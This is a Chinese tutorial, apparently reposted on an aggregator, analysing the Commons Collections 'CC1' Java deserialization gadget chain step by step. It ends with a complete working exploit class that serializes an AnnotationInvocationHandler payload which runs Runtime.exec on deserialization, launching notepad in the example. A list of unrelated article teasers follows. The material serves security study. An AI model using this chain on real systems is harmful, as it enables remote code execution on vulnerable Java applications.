java反序列化 cc链1 分析

news2024/11/26 4:28:54

这里我是跟白日梦组长学习,果然大佬就是大佬,讲的是真好,按他的配置,我们来配置环境。

环境搭建

环境:

        java:java8u_65

        commons-collections:3.2.1

这里逛了很多圈,说实在的真的没有看到有人教配环境,这样对我们这种小白来说真的是挺痛苦的事,跟着学跟着打,但是发现自己的没有漏洞,很多大佬是都是默认会配环境的,哎。

环境1

首先是我们要注意java的版本需要是 ,因为一些漏洞后续被修复了

java8u_65下载地址

环境2

因为一些源码是class文件,工具会帮我们自动反编译的,但是我们都知道,这个东西反编译出来的,肯定不方便阅读,所以为了方便我们后续的调试,我们这里将openjdk的源码下过来,把我们需要导入到jdk中

源码下载地址

这里我们解压以后来到src\share\classes下面,将sun文件包括里面的内容复制到jdk的src目录中。

 这里我们来到jdk的目录中,先把src.zip解压,然后将sun粘贴到src目录里面

 

 然后我们来到idea,打开目录结构

这里点开SDK,选择我们需要的jdk,然后选择源路径,把src文件夹添加进去

环境3

这里我们新建项目选择maven

 然后再pom.xmli添加

    <dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

 下面看过来,这里我们右键pom.xml -> maven然后按下面的来

 然后我们就可以看到这里多了一个target目录,然后下面下载了依赖

链子分析

利用第一阶段

首先入门点在这里,org.apache.commons.collections.Transformer类中,就是在这里面

这里他是一个class文件,但是我们知道反编译class文件出来的代码是不好分析,右上角那里可以帮我们把源代码下载过来。

至于为什么使用Transformer接口,这里我们可以看到下面,这里我们可以理解成一个转换对象的地点,我们传进去的对象都会被转换后在返回,而且它可以接受任何对象。

这里我们选中Transformer,使用快捷键ctrl+alt+b,我们就可以快速查看使用了Transformer接口的类,因为我们知道InvokerTransformer是下一个节点,这里我们直接来到那里

 

这里我们来到InvokerTransformer类中的transform方法,这里我们可以知道,他是利用了反射,下面我们分析一下

input是我们传入的对象

Class cls = input.getClass(); 通过input对象获取字节码文件

//获取input对象中的iMethodName(iParamTypes)方法
//注意:java中方法是可以重名的,只要参数数量不一样就可以
Method method = cls.getMethod(iMethodName, iParamTypes);

//调用了iMethodName方法,参数的值是iArgs
method.invoke(input, iArgs);

然后找到参数的值的位置,这里参数的值,我们可以new的对象的时候附带进去,发现参数值,没有任何过滤,证明我们可以进行恶意代码了。

这里我们可以看看基础恶意代码执行

//但是我们不能以这种方法来进行恶意代码执行,我们这里将他转成反射的形式
Runtime.getRuntime().exec("notepad"); //使用exec方法打开记事本

这里是反射形式的,这里可以看到上面和上面InvokerTransformer类中的transform方法的形式是一样的呢,所以我们按这样将数据传入到里面

// 获取当前运行时对象
Runtime r = Runtime.getRuntime();

// 通过对象获得字节码文件
Class c = r.getClass();

// 获取Class对象中名为"exec",参数为String类型的public方法
Method execm = c.getMethod("exec", String.class);

// 在r对象上调用execm方法,执行"notepad"命令,打开记事本
execm.invoke(r, "notepad");

这里根据我们需要的东西,将值传进去,那么这时候transform方法中就会上面一样执行,然后弹出记事本。

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"notepad"}).transform(r);

利用第二阶段

既然有了可以恶意代码执行的地方,我们就还需要可以走上去的地方,这里还是需要具有transfrom方法的类,但是这时候目标就变了,我们需要的是能够触发InvokerTransformer的transfrom的类。

这里我们随便找一个transform方法,右键选择查找用法

正常返回应该有21个左右,如果不是

 像我这样设置一下,就可以将读出来了

这里我们看到map软件包,下面基本都是存放map类的,这里看到transformValue类下面checkSetValue方法,通过快捷键F4,直接跳转到他的源代码

这里我们看到,他是触发valueTransformer的transform方法的,而且这是一个受保护的方法,需要在本类触发,这里往上看看。

这里我们往上看到了是这里给valueTransformer赋的值,这个也是一个受保护的方法,我们在看看

这里看到一个静态方法调用TransformedMap,证明我们可以任意控制valueTransformer的值

 这里我们先进行一些尝试

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
HashMap<Object,Object> hash = new HashMap<>();

//这里我们传进去invokerTransformer对象
//等于到checkSetValue方法的时候,就会触发invokerTransformer.transform(value);
TransformedMap.decorate(hash,null,invokerTransformer);

所以接下来就是想想怎么触发checkSetValue类了,而且还要让里面的值为Runtime的对象。

这里还是右键查看checkSetValue的用法

这里我们看到只有一个用法,这里我们跟过去看看

 这时候有人就比较疑惑了checkSetValue不是protected吗,不是只能本类访问吗,这里我们往上看发现那个类其实就是TransformedMap的父类。

这里我们可以看到,他定义了一个常量,然后可以看到他是重写了一个setValue方法,这个方法,我们知道他原本是给Man的value赋值的。

 

这里我们本地测试一下,可以看到弹出来记事本了

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
HashMap<Object,Object> hash = new HashMap<>();
hash.put('a','b');
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);

//这是Map的一种遍历的方法,通过获取键值对的方法
for (Map.Entry objectObjectEntry : decorate.entrySet()) {
    objectObjectEntry.setValue(r);
}

常见疑惑解答:为什么我使用的是Map.Entry对象setValue,为什么会到MapEntry里面setValue方法?

这里分析一小手,首先我们可以知道,他的父类是AbstractMapEntryDecorator类

 这里去这个类看看,这里可以看到他是接口了Map.Entry,所以他要重写里面所有的方法。

因为MapEntry的他子类中的类,所以可以算他覆盖了父类中的该方法,因此最终会调用MapEntry类中覆盖的setValue()方法


然后我们这里Map.Entry对象对应的是TransformedMap类,然后这个上面这个的子类,所以我们调用setValue其实就是调用MapEntry类中的setValue。

利用第三阶段

因为还是没有到readObject对吧,所以我还是要继续往上面爬,这里还是使用查看用法

在这里发现了还真有一个readObject方法

然后再这个方法里面还有一个遍历Map数组的部分,怎么遍历不好,偏偏还是使用键值对的方式遍历,真的就有这么巧吗,但是又两个问题,需要我们下面解决

问题1:那里又一个判断不是空才能进去

问题2:这里setValue方法,是直接给他值了,但是这个值不是我们需要的

这里我们接下来看看memberValues的值我们是否可以任意赋值,这里我们往上看,这里我们看到了它的构造函数,这里我们看到memberValues值,我们是可以控制的

注意:看到左上角,这是一个class,不是public,所以我们不能通过正常的new来获取他,他能在它的包里面才能访问他,但是我们可以通过反射来调用。

所以按照这种思路,我们开始整理要写的代码

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
HashMap<Object,Object> hash = new HashMap<>();
hash.put('a','b');
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);



// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
// 相当于提升自己权限,以便可以访问非公共构造函数
constructor.setAccessible(true);

// 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例
// 传递Override.class和decorate两个参数给构造函数
Object o = constructor.newInstance(Override.class, decorate);

利用第四阶段

完整的肯定不是这样子的,因为我们上面还有很多问题,

最主要的问题:因为我们是通过Runtime来执行恶意代码的,但是这个类不能序列化的,他没有接那个接口的

解决:通过反射,因为Class对象可以序列化

//相当于Runtime r = Runtime.getRuntimeMet()
Class c = Runtime.class;
Method getRuntimeMet = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMet.invoke(null, null);

//相当于r.exec('notepad')
Method execMet = c.getMethod("exec", String.class);
execMet.invoke(r, "notepad");

然后将其传换成InvokerTransformer类的形式,忘记了可以看上面

//相当于
/*
Class c = Runtime.class;
Method getRuntimeMet = c.getMethod("getRuntime", null);
*/
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);


//相当于
//Runtime r = (Runtime) getRuntimeMet.invoke(null, null);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);

//相当于
/*
Method execMet = c.getMethod("exec", String.class);
execMet.invoke(r, "notepad");
*/
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"}).transform(r);

然后按照白日梦组长的代码,我们可以知道这样调用起来是比较麻烦的,学习到了ChainedTransformer类中有一个方法,可以循环调用transform。

这里我们进去看一下,他是会循环调用iTransformers数组中的transform方法

 

 然后iTransformers数组,是我们构造的时候传进去,可以自己控制的。

有的人疑惑,我们为什么只用传入一个Runtime.class就可以了,看看上面的transform方法的代码,他最后都会返回一个对象,然后下次调用transform方法的时候就会使用这个返回的值

Transformer[] transformers = new Transformer[] {
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

然后按照这种理解,我们有了第一届exp,但是这样是有错误的,不能执行,我们使用断点查看一下。

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        hash.put("a",'b');
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class, decorate);

        serialize(o); //定义了一个序列化的方法
        unserialize("1.bin"); //定义了一个反序列化的方法
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

 利用第五阶段

关于上面的问题,其实在第三阶段的时候,就提到了两个问题就是AnnotationInvocationHandler.java中的那两个,这里我们设断点调试一下

这里设一个,然后再反序列化的地方也设一个

这里我们看到它上面返回的值是null,这就证明这个判断我们进不去,更别说调用setValue方法了,这里我们分析一下,他是获取memberValue的键值,然后查询memberTypes里面有没有,这个是随便设置的一个键值肯定是没有的。

这里我们分析一下,type的值是Override,就是这里我们传进去

但是说getInstance,是获取它里面的成员方法,Override是没有成员方法的

然后下面memberTypes方法是返回一个Map<String, Class<?>>

 

 解决方法,这里我们发现Override中的Target中有成员方法的

 这里我们修改exp下面这些,那么他就是他查看Target下面有没有value成员方法,肯定是有的。

这里我们继续调试,发现它传给checkSetValue方法的值,不是Runtime,那么肯定是不可以触发恶意代码的。

但是这里我们是不能控制,但是经过和白日梦组长的学习,我知道ConstantTransformer类中的,transformers方法可以帮我们返回Runtime

这里我们看到,接受构造函数中的我们给他的类,然后他的transformers方法,不管他的参数的类型,只返回我们构造的时候给他的类型,好神奇正好需要。

这里给exp中Transformer数组中添加进来new ConstantTransformer(Runtime.class)

当我们触发他的transformers方法时,他就会返回Runtime.class,正好给下面的用,哈哈哈。

 这里我们重新断点调试,发现他运行到ConstantTransformer类中的transformers方法的时候,返回的果然是Runtime

完整exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Serialcc {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        hash.put("value",'b');
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);

        serialize(o); //定义了一个序列化的方法
        unserialize("1.bin"); //定义了一个反序列化的方法
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }
    
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/424065.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

融云出海赋能会干货回顾 | 用户增长、场景玩法、安全合规实用指南

近期&#xff0c;“纵浪潜海 2023 融云社交泛娱乐出海赋能会”在上海、广州相继举行。移步【融云全球互联网通信云】&#xff0c;回复【出海】获取PPT。 作为更专业的出海服务商&#xff0c;融云联合多家出海服务企业&#xff0c;从热门出海地区的特性洞察、玩法解决方案、技…

BGP过滤(社团属性过滤器、AS路径过滤器)

通过路由策略来过滤 [r2]ip ip-prefix aa permit 172.16.1.0 24 [r2]route-policy aa deny node 10 [r2-route-policy]if-match ip-prefix aa [r2]route-policy aa permit node 20 [r2]bgp 200 [r2-bgp]peer 10.1.23.3 route-policy aa export 前缀列表进行过滤 [r3]ip ip-pref…

新手使用Python开发游戏pygame入门很合适-02

前面一篇博文&#xff0c;我们让飞机动起来了&#xff0c;但不是那么完美&#xff0c;我们继续来完善我们的游戏代码&#xff0c;本篇博文主要介绍获取按键的方式已经飞行速度的控制。 文章目录一、获取按键的三种方式1、通过event.get配合pygame.key枚举2、通过event.get配合o…

本地测试Segment Anything

一、下载GitHub代码 官网地址&#xff1a; https://github.com/facebookresearch/segment-anything git clone 或者 下载ZIP压缩包 二、下载.pth文件 官网中给出了三个训练好的参数文件 点击下载&#xff0c;我这里下载了最后一个358M大小的模型&#xff08;这里可以使用迅…

apache 配置与应用以及网页优化

Apache 配置与应用 --------构建虚拟 Web 主机-------- 虚拟Web主机指的是在同一台服务器中运行多个Web站点&#xff0c;其中每一个站点实际上并不独立占用整个服务器&#xff0c;因此被称为“虚拟”Web 主机。 通过虚拟 Web 主机服务可以充分利用服务器的硬件资源&#xff0c…

49.现有移动端开源框架及其特点—MACE( Mobile AI Compute Engine)

Mobile AI Compute Engine (MACE) 是一个专为移动端异构计算设备优化的深度学习前向预测框架 MACE覆盖了常见的移动端计算设备(CPU,GPU和DSP),并且提供了完整的工具链和文档,用户借助MACE能够很方便地在移动端部署深度学习模型MACE已经在小米内部广泛使用并且被充分验证具…

答疑——20年国赛题(JAVA解法)

题目链接&#xff1a;用户登录https://www.lanqiao.cn/problems/1025/learning/?page3&first_category_id1&sortstudents_count 题目描述 有 n 位同学同时找老师答疑。每位同学都预先估计了自己答疑的时间。 老师可以安排答疑的顺序&#xff0c;同学们要依次进入老…

SQL笔记(1)——MySQL创建数据库(收藏吃灰版)

本文详细记录MySQL创建一个数据库的过程&#xff0c;不只是构建步骤&#xff0c;更多的是每一步涉及到的知识点。一般创建数据库有两种方式&#xff0c;一种是命令&#xff0c;另外一种就是通过数据库管理工具&#xff0c;本文主要记录通过命令的方式创建&#xff1b; 后面的学…

Centos7升级make和gcc版本到最新

Background 遇到如下的问题可能就是你make和gcc的版本过低了&#xff0c;需要升级。 *** These critical programs are missing or too old: make compiler *** Check the INSTALL file for required versions. 1、更新make版本 下载最新版本 【make最新安装包下载地址】 #…

VuePress1.x使用及个人博客搭建

文章目录介绍快速开始安装目录页面配置介绍 VuePress 由两部分组成&#xff1a;一个以 Vue 驱动的主题系统的简约静态网站生成工具&#xff0c;和一个为编写技术文档而优化的默认主题。它是为了支持 Vue 子项目的文档需求而创建的。 快速开始 安装 首先需要安装Node.js &…

ASM字节码处理工具原理及实践(一)

1. ASM简介 我们知道程序的分析。生成和转换是很有用的技术&#xff0c;可以用于很多场景。ASM作为一个Java字节码处理工具&#xff0c;它被设计用于处理已编译的Java类。ASM不是生成和转变已编译的Java类的唯一工具&#xff0c;但它是最新且最有效的工具之一。特点是体积小&a…

一个实现跳转到更多页面的黏性交互的通用组件

本文字数&#xff1a;3344字预计阅读时间&#xff1a;9分钟背景和现状随着移动互联网的快速发展&#xff0c;通信费用大幅降低&#xff0c;信息爆炸&#xff0c;应用软件展示的信息越来越来&#xff0c;为了有效地组织和展示信息&#xff0c;各大移动平台都提供了列表滚动组件方…

No.038<软考>《(高项)备考大全》【第22章】信息安全管理

【第22章】信息安全管理1 考试相关2 信息安全管理2.1 安全策略2.2 信息系统安全等级保护2.3 安全的概念适度安全的观点&#xff1a;木桶效应的观点&#xff1a;2.4 安全策略设计2.5 信息安全系统工程能力成熟度模型ISSE-CMM2.6数字证书护照和签证2.7访问控制授权方案2.8 安全审…

评估数据质量的指标总结1

评估数据质量的指标总结1 1、RMSE&#xff08;root mean square error&#xff09;均方根误差 作用&#xff1a;RMSE是估计的度量值与“真实”值之间的距离的度量。 计算方法&#xff1a; 2、相关系数r(coefficient of correlation ) 作用&#xff1a;皮尔逊相关系数&#xff…

LeetCode算法小抄--二叉树的各种构造

LeetCode算法小抄--各种情况的构造二叉树构造二叉树构造最大二叉树[654. 最大二叉树](https://leetcode.cn/problems/maximum-binary-tree/)从前序与中序遍历构造二叉树[105. 从前序与中序遍历序列构造二叉树](https://leetcode.cn/problems/construct-binary-tree-from-preord…

Unity和UE有啥区别?哪个更适合游戏开发

游戏制作软件中最著名的两个游戏引擎是 Unity 和 Unreal Engine。从独立游戏到大型工作室&#xff0c;许多游戏开发商都在使用它们。如果你打算从事游戏行业工作&#xff0c;你肯定曾经问过自己“我的游戏应该使用 Unity 还是 Unreal Engine&#xff1f;” ” 让我们来了解和比…

ActiveMQ使用(四):在JavaScript中发送的MQTT消息在SpringBoot中变为字节数组

ActiveMQ使用(四):在JavaScript中发送的MQTT消息在SpringBoot中变为字节数组 1. 问题描述 JmsListener(destination "test_producer", containerFactory "topicListenerContainer")public void receiveTestProducer(String message) throws JMSExceptio…

AI绘画兴起,Stable Diffusion脱颖而出,来一探究竟

近几年&#xff0c;AI图像生成风靡全球&#xff0c;它能够根据文字描述生成精美图像&#xff0c;这极大地改变了人们的图像创作方式。众多专业人士说该技术正在引领着新一轮深度学习创意工具浪潮&#xff0c;并有望彻底改变视觉媒体的创作。 AI绘画兴起 Stable Diffusion脱颖…

[Django] 后台管理系统

浏览之前&#xff0c;请先阅读以下文章 1.Django项目创建 2.Django路由系统 在项目目录下的urls.py文件中&#xff0c;我们会看到这样一个url的配置 启动服务&#xff0c;在浏览器中输入网址http://127.0.0.1:8000/admin/&#xff0c;结果如下 Django提供了一个非常强大的管…

前端解析Excel中的数据进行操作

技术要点&#xff1a;Vue、Element、JSON 功能描述&#xff1a;读取Excel中的数据&#xff0c;利用JavaScript技术奖数据转成Json格式进行操作&#xff01; 功能描述&#xff1a;只能用前端操作数据&#xff0c;并未实现将数据传送至后端处理&#xff01; 注意注意注意 如果…